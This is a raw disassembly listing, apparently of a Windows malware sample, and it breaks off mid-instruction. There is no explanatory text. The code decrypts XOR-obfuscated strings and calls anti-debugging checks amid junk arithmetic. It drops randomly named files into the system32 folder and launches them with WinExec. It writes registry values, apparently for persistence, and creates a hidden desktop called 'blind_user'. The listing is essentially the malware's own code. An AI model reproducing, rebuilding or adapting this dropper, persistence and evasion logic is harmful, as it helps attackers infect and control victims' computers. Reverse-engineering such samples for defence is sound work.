[ebp+arg_0] mov eax, dword_43D180 lea eax, ds:40F6E0h[eax] push eax call sub_40CC14 add esp, 0Ch xor edi, edi jmp short loc_403768 ; --------------------------------------------------------------------------- loc_403751: ; CODE XREF: sub_40372A+40j mov eax, dword_43D180 add eax, edi lea eax, ds:40F6E0h[eax] movsx edx, byte ptr [eax] xor edx, 75h mov [eax], dl inc edi loc_403768: ; CODE XREF: sub_40372A+25j cmp edi, esi jl short loc_403751 mov [ebp+var_4], 2E3h mov eax, dword_43D180 add eax, esi mov byte ptr ds:dword_40F6E0[eax], 0 xor edi, edi mov edi, dword_43D180 inc dword_43D180 mov eax, dword_43D180 add eax, 5 add eax, esi mov dword_43D180, eax add dword_43D180, 2 cmp dword_43D180, 0DF6h jle short loc_4037B9 and dword_43D180, 0 loc_4037B9: ; CODE XREF: sub_40372A+86j mov [ebp+var_8], 1Ch lea eax, dword_40F6E0[edi] pop edi pop esi leave retn sub_40372A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4037CA proc near ; CODE XREF: sub_40AA24+728p ; sub_40AA24+74Fp var_10A = word ptr -10Ah var_108 = word ptr -108h var_106 = word ptr -106h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10Ch push edi mov [ebp+var_106], 56C6h sub [ebp+var_106], 2AE0h call sub_40C7C4 ; GetTickCount push [ebp+arg_0] lea eax, [ebp+var_104] push eax call sub_40CC50 push 1 push offset aVgu ; "Vƒã" call sub_40372A push eax lea edi, [ebp+var_104] push edi call sub_40CC74 mov [ebp+var_108], 14CDh sub [ebp+var_108], 24h push [ebp+arg_4] lea eax, [ebp+var_104] push eax call sub_40CC74 add esp, 20h lea eax, [ebp+var_104] push eax call sub_40C800 ; GlobalAddAtomA mov [ebp+var_10A], 31AAh movzx eax, [ebp+var_10A] imul eax, 32E4h mov [ebp+var_10A], ax pop edi leave retn sub_4037CA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 110h push esi push edi lea edi, [ebp-10Dh] lea esi, a9b7 ; ":9b 7-" mov ecx, 7 rep movsb push dword ptr [ebp+8] lea eax, [ebp-104h] push eax call sub_40CC50 call sub_40C854 ; IsDebuggerPresent push 1 push offset aVgu ; "Vƒã" call sub_40372A push eax lea edi, [ebp-104h] push edi call sub_40CC74 call sub_40C764 ; RtlGetLastWin32Error push dword ptr [ebp+0Ch] lea eax, [ebp-104h] push eax call sub_40CC74 add esp, 20h loc_4038C4: ; CODE XREF: .text:00403908j lea eax, [ebp-104h] push eax call sub_40C818 ; GlobalFindAtomA mov edi, eax mov [ebp-106h], di cmp word ptr [ebp-106h], 0 jz short loc_40390A lea edi, [ebp-110h] lea esi, aUa ; "U€" mov ecx, 3 rep movsb movzx eax, word ptr [ebp-106h] push eax call sub_40C80C ; GlobalDeleteAtom call sub_40C7C4 ; GetTickCount jmp short loc_4038C4 ; --------------------------------------------------------------------------- loc_40390A: ; CODE XREF: .text:004038E1j pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40390E proc near ; CODE XREF: sub_40399B+82p ; sub_403A5F+58p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 200h push esi push [ebp+arg_0] mov eax, dword_43D198 lea eax, ds:41E9E0h[eax] push eax call sub_40CC14 add esp, 0Ch mov [ebp+var_8], 100h xor edi, edi jmp short loc_40395D ; --------------------------------------------------------------------------- loc_403943: ; CODE XREF: sub_40390E+51j mov eax, dword_43D198 add eax, edi lea eax, ds:41E9E0h[eax] movsx edx, byte ptr [eax] xor edx, 0D9h mov [eax], dl inc edi loc_40395D: ; CODE XREF: sub_40390E+33j cmp edi, esi jl short loc_403943 mov eax, dword_43D198 add eax, esi mov byte ptr ds:dword_41E9E0[eax], 0 xor edi, edi mov edi, dword_43D198 mov eax, edi lea eax, [eax+esi+1] mov dword_43D198, eax cmp eax, 0DCCh jle short loc_403991 and dword_43D198, 0 loc_403991: ; CODE XREF: sub_40390E+7Aj lea eax, dword_41E9E0[edi] pop edi pop esi leave retn sub_40390E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40399B proc near ; CODE XREF: sub_403A5F+34p ; sub_403BE7+139p ... var_100B = byte ptr -100Bh var_1008 = dword ptr -1008h var_1003 = byte ptr -1003h var_1000 = byte ptr -1000h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 100Ch call sub_40C6B8 push ebx push esi push edi mov ebx, [ebp+arg_0] lea edi, [ebp+var_100B] lea esi, word_4421BE mov ecx, 3 rep movsb push 0FFFh lea eax, [ebp+var_1003] push eax call sub_40C7A0 ; GetSystemDirectoryA call sub_40C7C4 ; GetTickCount mov [ebp+var_1000], 0 push 0FFFh lea eax, [ebp+var_1003] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_1008] push eax push 0FFFh lea eax, [ebp+var_1003] push eax lea eax, [ebp+var_1003] push eax call sub_40C7E8 ; GetVolumeInformationA call sub_40C740 ; GetCurrentThreadId push 4 push offset byte_44757F call sub_40390E push [ebp+var_1008] push eax push ebx call sub_40CC50 add esp, 14h call sub_40C740 ; GetCurrentThreadId and [ebp+var_4], 0 loc_403A3B: ; CODE XREF: sub_40399B+BDj mov eax, [ebp+var_4] mov al, [ebx+eax] cmp al, 41h jge short loc_403A51 cmp al, 30h jle short loc_403A51 mov eax, [ebp+var_4] add eax, ebx add byte ptr [eax], 11h loc_403A51: ; CODE XREF: sub_40399B+A8j ; sub_40399B+ACj inc [ebp+var_4] cmp [ebp+var_4], 8 jb short loc_403A3B pop edi pop esi pop ebx leave retn sub_40399B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A5F proc near ; CODE XREF: sub_40AA24+7D2p var_28F = byte ptr -28Fh var_28A = byte ptr -28Ah var_284 = byte ptr -284h var_27D = dword ptr -27Dh var_279 = byte ptr -279h var_273 = byte ptr -273h var_26C = byte ptr -26Ch var_26B = byte ptr -26Bh var_167 = byte ptr -167h var_103 = byte ptr -103h var_102 = word ptr -102h var_FF = byte ptr -0FFh push ebp mov ebp, esp sub esp, 290h push ebx push esi push edi call sub_40C734 ; GetCurrentProcessId lea edi, [ebp+var_26C] lea esi, byte_4421C1 xor ecx, ecx inc ecx rep movsb mov ebx, 1763h add ebx, 25D9h lea eax, [ebp+var_167] push eax call sub_40399B call sub_40C794 ; GetProcessHeap lea edi, [ebp+var_273] lea esi, aI? ; "`i/=?<" mov ecx, 7 rep movsb push 9 push offset byte_447575 call sub_40390E lea edi, [ebp+var_167] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_FF] push edi call sub_40CC50 lea eax, [ebp+var_FF] push eax call sub_40341E lea edi, [ebp+var_279] lea esi, aGas6l ; "G€S6l" mov ecx, 3 rep movsw push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_FF] push eax call sub_40C8CC ; CreateFileA mov ebx, eax mov eax, dword_4421CF mov [ebp+var_27D], eax push 0 lea eax, [ebp+var_284] push eax push 3621h push offset byte_43EB9D push ebx call sub_40C944 ; WriteFile lea edi, [ebp+var_28A] lea esi, aMt@6 ; "mt@~6" mov ecx, 3 rep movsw push ebx call sub_40C7AC ; CloseHandle call sub_40C854 ; IsDebuggerPresent lea edi, [ebp+var_28F] lea esi, aWGz ; "w-gz" mov ecx, 5 rep movsb push 104h lea eax, [ebp+var_26B] push eax push 0 call sub_40C770 ; GetModuleFileNameA mov [ebp+var_102], 0C80h sub [ebp+var_102], 4F02h push 1 push offset byte_447573 call sub_40390E push eax lea edi, [ebp+var_FF] push edi call sub_40CC74 mov [ebp+var_103], 94h add [ebp+var_103], 1 lea eax, [ebp+var_26B] push eax lea eax, [ebp+var_FF] push eax call sub_40CC74 add esp, 38h call sub_40C734 ; GetCurrentProcessId push 0 lea eax, [ebp+var_FF] push eax call sub_40C938 ; WinExec call sub_40C734 ; GetCurrentProcessId pop edi pop esi pop ebx leave retn sub_403A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BE7 proc near ; CODE XREF: sub_40AA24+35Fp var_312 = word ptr -312h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = byte ptr -2F0h var_2E9 = dword ptr -2E9h var_2E5 = byte ptr -2E5h var_2DF = dword ptr -2DFh var_2DB = byte ptr -2DBh var_2D6 = word ptr -2D6h var_2D4 = byte ptr -2D4h var_2CD = byte ptr -2CDh var_269 = byte ptr -269h var_205 = byte ptr -205h var_101 = byte ptr -101h var_FB = byte ptr -0FBh var_FA = byte ptr -0FAh var_F9 = byte ptr -0F9h var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 314h push ebx push esi push edi call sub_40C854 ; IsDebuggerPresent lea edi, [ebp+var_2D4] lea esi, aBdvq ; "!dvq#" mov ecx, 7 rep movsb call sub_40C794 ; GetProcessHeap push 26h push offset dword_44754C call sub_40390E mov [ebp+var_2F4], eax call sub_40CC38 mov [ebp+var_2F8], eax call sub_40CC38 mov [ebp+var_2FC], eax call sub_40CC38 mov [ebp+var_300], eax call sub_40CC38 mov [ebp+var_304], eax call sub_40CC38 mov [ebp+var_308], eax call sub_40CC38 mov [ebp+var_30C], eax call sub_40CC38 mov [ebp+var_310], eax call sub_40CC38 mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_310] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_30C] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_308] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_304] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_300] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_2FC] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_2F8] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_2F4] push edi lea edi, [ebp+var_269] push edi call sub_40CC50 call sub_40C7C4 ; GetTickCount mov ax, word_4421E5 mov [ebp+var_2D6], ax lea eax, [ebp+var_2CD] push eax call sub_40399B add esp, 34h call sub_40C764 ; RtlGetLastWin32Error lea edi, [ebp+var_2DB] lea esi, aDdbl ; "Ddl" mov ecx, 5 rep movsb mov eax, dword_4421EC mov [ebp+var_2DF], eax call sub_40CC38 mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax add edi, 41h mov edx, edi mov [ebp+var_101], dl call sub_40C7C4 ; GetTickCount mov [ebp+var_1], 1 jmp short loc_403DAD ; --------------------------------------------------------------------------- loc_403D7D: ; CODE XREF: sub_403BE7+1CBj call sub_40CC38 movzx edi, [ebp+var_1] mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov esi, eax add esi, 61h mov edx, esi mov [ebp+edi+var_101], dl add [ebp+var_1], 1 loc_403DAD: ; CODE XREF: sub_403BE7+194j mov al, [ebp+var_1] cmp al, 8 jbe short loc_403D7D mov ebx, 368Ch mov eax, ebx add eax, ebx mov ebx, eax mov [ebp+var_F9], 0 call sub_40CC38 mov edx, eax test dl, 1 jnz short loc_403DF5 call sub_40C7C4 ; GetTickCount mov [ebp+var_FB], 33h mov [ebp+var_312], 25D6h inc [ebp+var_312] mov [ebp+var_FA], 32h loc_403DF5: ; CODE XREF: sub_403BE7+1E9j push 9 push offset word_447542 call sub_40390E lea edi, [ebp+var_101] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_205] push edi call sub_40CC50 lea edi, [ebp+var_2E5] lea esi, a1dy ; " /1dY" mov ecx, 3 rep movsw lea eax, [ebp+var_205] push eax call sub_40341E mov eax, dword_4421F6 mov [ebp+var_2E9], eax push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_205] push eax call sub_40C8CC ; CreateFileA mov ebx, eax call sub_40C740 ; GetCurrentThreadId push [ebp+arg_0] mov eax, offset aKimhehjd ; "Kimhehjd" push eax call sub_40CC50 push 0 lea eax, [ebp+var_2F0] push eax push 1A01h push offset dword_43D19C push ebx call sub_40C944 ; WriteFile push ebx call sub_40C7AC ; CloseHandle call sub_40C7D0 ; GetVersion push 17h push offset word_44752A call sub_40390E lea edi, [ebp+var_269] push edi push eax lea edi, [ebp+var_101] push edi call sub_40CC50 call sub_40C764 ; RtlGetLastWin32Error lea eax, [ebp+var_205] push eax push offset byte_447529 lea eax, [ebp+var_101] push eax push 80000000h call sub_403F47 call sub_40C794 ; GetProcessHeap push 0Eh push offset aNLF ; "±«¼¸½°·¾”¶½¼µ" call sub_40390E mov [ebp-314h], eax push 9 push offset aSiLnN ; "˜©¸«´¼·" call sub_40390E push eax mov edi, [ebp-314h] push edi lea edi, [ebp+var_101] push edi push 80000000h call sub_403F47 push 45h push offset aKNoLEfLKNeoOke ; "ж¿®¸«¼…”°º«¶ª¶¿…ް·½¶®ª…𬫫¼·¼«ª°"... call sub_40390E lea edi, [ebp+var_269] push edi lea edi, [ebp+var_2CD] push edi push eax push 80000002h call sub_403F47 add esp, 80h pop edi pop esi pop ebx leave retn sub_403BE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F47 proc near ; CODE XREF: sub_403BE7+2EFp ; sub_403BE7+32Bp ... var_11 = byte ptr -11h var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push esi push edi mov edi, [ebp+arg_C] mov [ebp+var_2], 482Fh movzx eax, [ebp+var_2] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2], ax inc dword_43C230 mov [ebp+var_9], 0C8h add [ebp+var_9], 59h and [ebp+var_8], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_40CB3C ; RegCreateKeyExA call sub_40C854 ; IsDebuggerPresent mov ecx, edi or eax, 0FFFFFFFFh loc_403FA2: ; CODE XREF: sub_403F47+60j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_403FA2 mov [ebp+var_10], eax push [ebp+var_10] push edi push 1 push 0 push [ebp+arg_8] push [ebp+var_8] call sub_40CB6C ; RegSetValueExA mov [ebp+var_11], 0A1h add [ebp+var_11], 0D6h push [ebp+var_8] call sub_40CB48 ; RegCloseKey call sub_40C7C4 ; GetTickCount pop edi pop esi leave retn sub_403F47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FD8 proc near ; CODE XREF: sub_4040AA+A0p ; sub_4040AA+C0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_442204 lea eax, ds:411CA0h[eax] push eax call sub_40CC14 add esp, 0Ch mov [ebp+var_4], 278h xor edi, edi jmp short loc_404021 sub_403FD8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_404020 loc_404007: ; CODE XREF: sub_404020+3j mov eax, dword_442204 add eax, edi lea eax, ds:411CA0h[eax] ; DATA XREF: .data:0043F12Dw ; .data:0043F147w ... movsx edx, byte ptr [eax] xor edx, 9Ah mov [eax], dl ; END OF FUNCTION CHUNK FOR sub_404020 ; =============== S U B R O U T I N E ======================================= sub_404020 proc near ; DATA XREF: .data:0043F1FAo ; .data:0043F210r ; FUNCTION CHUNK AT 00404007 SIZE 00000019 BYTES inc edi loc_404021: ; CODE XREF: sub_403FD8+2Dj cmp edi, esi jl short loc_404007 ; DATA XREF: .data:0043F20Ar mov dword ptr [ebp-8], 2C7h ; DATA XREF: .data:0043F204r loc_40402C: ; DATA XREF: .data:loc_43F195r ; .data:loc_43F1A5r ... mov eax, dword_442204 add eax, esi mov byte ptr ds:dword_411CA0[eax], 0 ; DATA XREF: .data:0043F0A3w ; .data:0043F0BEr ... mov edi, dword_442204 ; DATA XREF: .data:0043F0B8o ; .data:0043F0C6o mov eax, edi lea eax, [eax+esi+6] mov dword_442204, eax cmp eax, 0DB8h jle short loc_40405A and dword_442204, 0 loc_40405A: ; CODE XREF: sub_404020+31j mov dword ptr [ebp-0Ch], 2EEh lea eax, dword_411CA0[edi] pop edi pop esi leave retn sub_404020 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40406B proc near ; CODE XREF: sub_40AA24+3B9p var_1496 = word ptr -1496h var_1300 = byte ptr -1300h push ebp mov ebp, esp mov eax, 14B4h call sub_40C6B8 push ebx push esi push edi call sub_40C854 ; IsDebuggerPresent mov ax, word_442208 mov [ebp+var_1496], ax ; DATA XREF: .data:0043F048w call sub_40C7C4 ; DATA XREF: .data:0043F04Dw ; .data:0043F069w push 0FFh ; DATA XREF: .data:0043F5A8w ; .data:0043F5AEr ... lea eax, [ebp+var_1300] ; DATA XREF: .data:00440391r push eax push 0 call sub_40C770 ; GetModuleFileNameA call sub_40C7C4 ; GetTickCount sub_40406B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4040AA proc near ; DATA XREF: sub_43F624+Co mov dword ptr [ebp-1394h], 94h mov word ptr [ebp-1100h], 47E6h ; DATA XREF: sub_43F624+1Co movzx eax, word ptr [ebp-1100h] mov edx, eax add edx, eax mov eax, edx mov [ebp-1100h], ax lea eax, [ebp-1394h] push eax call sub_40C7DC ; GetVersionExA mov word ptr [ebp-1102h], 21A4h movzx eax, word ptr [ebp-1102h] mov edx, eax add edx, eax mov eax, edx mov [ebp-1102h], ax lea edi, [ebp-149Dh] lea esi, aRMqq ; "`R#MqQ" mov ecx, 7 rep movsb cmp dword ptr [ebp-1384h], 2 jnz loc_4041A4 call sub_40C7D0 ; GetVersion push 0FFh lea eax, [ebp-0FFh] push eax call sub_40C7A0 ; GetSystemDirectoryA lea edi, [ebp-14B3h] lea esi, byte_442211 mov ecx, 7 rep movsb push 0Fh push offset word_4474BA call sub_403FD8 lea edi, [ebp-0FFh] push edi push eax lea edi, [ebp-1201h] push edi call sub_40CC50 push 0Ah push offset byte_4474AF call sub_403FD8 lea edi, [ebp-0FFh] push edi push eax lea edi, [ebp-1494h] push edi call sub_40CC50 push 8 push offset word_4474A6 call sub_403FD8 push eax lea edi, [ebp-0FFh] push edi call sub_40CC74 add esp, 38h jmp loc_404233 ; --------------------------------------------------------------------------- loc_4041A4: ; CODE XREF: sub_4040AA+6Aj call sub_40C764 ; RtlGetLastWin32Error push 0FFh lea eax, [ebp-0FFh] push eax call sub_40C7F4 ; GetWindowsDirectoryA call sub_40C854 ; IsDebuggerPresent push 0Fh push offset word_447496 call sub_403FD8 lea edi, [ebp-0FFh] push edi push eax lea edi, [ebp-1201h] push edi call sub_40CC50 call sub_40C7D0 ; GetVersion push 0Eh push offset byte_447487 call sub_403FD8 lea edi, [ebp-0FFh] push edi push eax lea edi, [ebp-1494h] push edi call sub_40CC50 lea edi, [ebp-14AFh] lea esi, byte_442218 mov ecx, 3 rep movsb push 0Ch push offset word_44747A call sub_403FD8 push eax lea edi, [ebp-0FFh] push edi call sub_40CC74 add esp, 38h loc_404233: ; CODE XREF: sub_4040AA+F5j lea eax, [ebp-1494h] push eax call sub_40C704 ; DeleteFileA call sub_40C794 ; GetProcessHeap lea edi, [ebp-14A4h] lea esi, a99a ; "-; 99a" mov ecx, 7 rep movsb push 0 push 80h push 2 push 0 push 0 push 40000000h lea eax, [ebp-1201h] push eax call sub_40C8CC ; CreateFileA mov ebx, eax call sub_40C7D0 ; GetVersion push 39h push offset dword_447440 call sub_403FD8 lea edi, [ebp-1201h] push edi lea edi, [ebp-1300h] push edi lea edi, [ebp-1300h] push edi push eax lea edi, [ebp-10FEh] push edi call sub_40CC50 add esp, 1Ch call sub_40C7C4 ; GetTickCount lea ecx, [ebp-10FEh] or eax, 0FFFFFFFFh loc_4042BB: ; CODE XREF: sub_4040AA+216j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4042BB push 0 lea esi, [ebp-14A8h] push esi push eax lea edi, [ebp-10FEh] push edi push ebx call sub_40C944 ; WriteFile call sub_40C764 ; RtlGetLastWin32Error push ebx call sub_40C7AC ; CloseHandle mov eax, dword_442222 mov [ebp-14ACh], eax push 8 push offset aSS ; "¿éºµÙº¿é" call sub_403FD8 add esp, 8 lea edi, [ebp-1201h] push edi lea edi, [ebp-0FFh] push edi push eax lea edi, [ebp-10FEh] sub_4040AA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404313 proc near ; DATA XREF: sub_43F725+1E1o push edi call sub_40CC50 add esp, 10h push 0 lea eax, [ebp-10FEh] push eax call sub_40C938 ; WinExec mov byte ptr [ebp-1395h], 69h add byte ptr [ebp-1395h], 1 pop edi pop esi pop ebx leave retn sub_404313 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 200h push esi push dword ptr [ebp+8] mov eax, dword_442230 lea eax, ds:430C30h[eax] push eax call sub_40CC14 add esp, 0Ch mov dword ptr [ebp-8], 100h xor edi, edi jmp short loc_40438C ; --------------------------------------------------------------------------- loc_404372: ; CODE XREF: .text:0040438Ej mov eax, dword_442230 add eax, edi lea eax, ds:430C30h[eax] movsx edx, byte ptr [eax] xor edx, 0D9h mov [eax], dl inc edi loc_40438C: ; CODE XREF: .text:00404370j cmp edi, esi jl short loc_404372 mov eax, dword_442230 add eax, esi mov byte ptr ds:dword_430C30[eax], 0 xor edi, edi mov edi, dword_442230 mov eax, edi lea eax, [eax+esi+1] mov dword_442230, eax cmp eax, 0DCCh jle short loc_4043C0 and dword_442230, 0 loc_4043C0: ; CODE XREF: .text:004043B7j lea eax, dword_430C30[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043CA proc near ; CODE XREF: sub_4061F7+22Cp ; sub_408B4C+1ABp var_10 = dword ptr -10h var_A = word ptr -0Ah var_7 = byte ptr -7 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea edi, [ebp+var_7] lea esi, dword_442238 mov ecx, 3 rep movsb cmp dword_442234, 0 jz short loc_404422 mov [ebp+var_A], 4080h movzx eax, [ebp+var_A] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_A], ax call sub_40C740 ; GetCurrentThreadId push eax call sub_40CA58 ; GetThreadDesktop mov [ebp+var_10], eax call sub_40C794 ; GetProcessHeap mov eax, dword_442234 cmp [ebp+var_10], eax jnz short loc_404450 xor eax, eax inc eax jmp short loc_404469 ; --------------------------------------------------------------------------- loc_404422: ; CODE XREF: sub_4043CA+20j push 0 push 0C7h push 0 push 0 push 0 push offset aBlind_user ; "blind_user" call sub_40CA40 ; CreateDesktopA mov dword_442234, eax call sub_40C740 ; GetCurrentThreadId cmp dword_442234, 0 jnz short loc_404450 xor eax, eax jmp short loc_404469 ; --------------------------------------------------------------------------- loc_404450: ; CODE XREF: sub_4043CA+51j ; sub_4043CA+80j push dword_442234 call sub_40CA4C ; SetThreadDesktop mov [ebp+var_4], eax mov ebx, 5CBAh mov ecx, ebx add ecx, ebx mov ebx, ecx loc_404469: ; CODE XREF: sub_4043CA+56j ; sub_4043CA+84j pop edi pop esi pop ebx leave retn sub_4043CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40446E proc near ; CODE XREF: sub_4061F7+2C6p ; sub_408B4C+230p arg_0 = dword ptr 8 push ebp mov ebp, esp push edi mov edi, 1763h add edi, 25D9h mov eax, [ebp+arg_0] lea edx, aBlind_user ; "blind_user" mov [eax+8], edx call sub_40C794 ; GetProcessHeap pop edi pop ebp retn sub_40446E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404491 proc near ; CODE XREF: sub_404586+7p ; sub_4045EF-2Cp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_442244 lea eax, ds:4176F0h[eax] push eax call sub_40CC14 add esp, 0Ch mov [ebp+var_4], 5Dh xor edi, edi jmp short loc_4044D9 ; --------------------------------------------------------------------------- loc_4044BF: ; CODE XREF: sub_404491+4Aj mov eax, dword_442244 add eax, edi lea eax, ds:4176F0h[eax] movsx edx, byte ptr [eax] xor edx, 0B6h mov [eax], dl inc edi loc_4044D9: ; CODE XREF: sub_404491+2Cj cmp edi, esi jl short loc_4044BF mov eax, dword_442244 add eax, esi mov byte ptr ds:dword_4176F0[eax], 0 xor edi, edi mov edi, dword_442244 add dword_442244, 2 mov eax, dword_442244 add eax, 5 add eax, esi mov dword_442244, eax cmp eax, 0DD3h jle short loc_404518 and dword_442244, 0 loc_404518: ; CODE XREF: sub_404491+7Ej mov [ebp+var_8], 165h lea eax, dword_4176F0[edi] sub_404491 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404525 proc near ; DATA XREF: sub_43F725+A6o pop edi pop esi leave retn sub_404525 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404529 proc near ; CODE XREF: sub_4054C8+702p ; sub_4054C8+7C6p ... var_100 = byte ptr -100h var_FF = byte ptr -0FFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 114h push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C740 ; GetCurrentThreadId push [ebp+arg_4] push ebx call sub_40CC74 add esp, 8 call sub_40C854 ; IsDebuggerPresent lea edi, [ebp+var_100] lea esi, byte_442248 xor ecx, ecx inc ecx rep movsb call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404641 call sub_40C794 ; GetProcessHeap mov [ebp+var_FF], 0 call sub_40C764 ; RtlGetLastWin32Error sub_404529 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404586 proc near ; DATA XREF: sub_43F725+476o push 3 push offset aSC ; "™œ–" call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h call sub_40C794 ; GetProcessHeap mov byte ptr [ebp-101h], 0 jmp short loc_404605 sub_404586 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4045EF loc_4045AA: ; CODE XREF: sub_4045EF+1Ej call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_4045FE push 4 push offset aUU ; "“Å“Õ" call sub_404491 mov [ebp-108h], eax call sub_40CC38 mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-108h] push edi ; END OF FUNCTION CHUNK FOR sub_4045EF ; =============== S U B R O U T I N E ======================================= sub_4045EF proc near ; DATA XREF: sub_43F725+4B8o ; FUNCTION CHUNK AT 004045AA SIZE 00000045 BYTES lea edi, [ebp-0FFh] push edi call sub_40CC50 add esp, 18h loc_4045FE: ; CODE XREF: sub_4045EF-35j add byte ptr [ebp-101h], 1 loc_404605: ; CODE XREF: sub_404586+22j mov al, [ebp-101h] cmp al, 0Ah jb short loc_4045AA call sub_40C740 ; GetCurrentThreadId lea eax, [ebp-0FFh] push eax push ebx call sub_40CC74 call sub_40C854 ; IsDebuggerPresent push 3 push offset aCS ; "–œ™" call sub_404491 push eax push ebx call sub_40CC74 add esp, 18h call sub_40C854 ; IsDebuggerPresent loc_404641: ; CODE XREF: sub_404529+46j call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404721 call sub_40C740 ; GetCurrentThreadId push 10h push offset aCuUUClcuN ; "À×Ä–“Õ“Õ“Õ–‹–“Ã" call sub_404491 mov [ebp-108h], eax call sub_40CC38 mov [ebp-10Ch], eax call sub_40CC38 mov [ebp-110h], eax call sub_40CC38 mov [ebp-114h], eax call sub_40CC38 mov ecx, 0EA60h cdq idiv ecx push edx mov edi, [ebp-114h] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-110h] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-10Ch] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-108h] push edi lea edi, [ebp-0FFh] push edi call sub_40CC50 mov byte ptr [ebp-101h], 80h add byte ptr [ebp-101h], 1 lea eax, [ebp-0FFh] push eax push ebx call sub_40CC74 sub_4045EF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40470D proc near ; DATA XREF: sub_43F725+600o add esp, 28h lea edi, [ebp-102h] lea esi, byte_442249 xor ecx, ecx inc ecx rep movsb loc_404721: ; CODE XREF: sub_4045EF+62j call 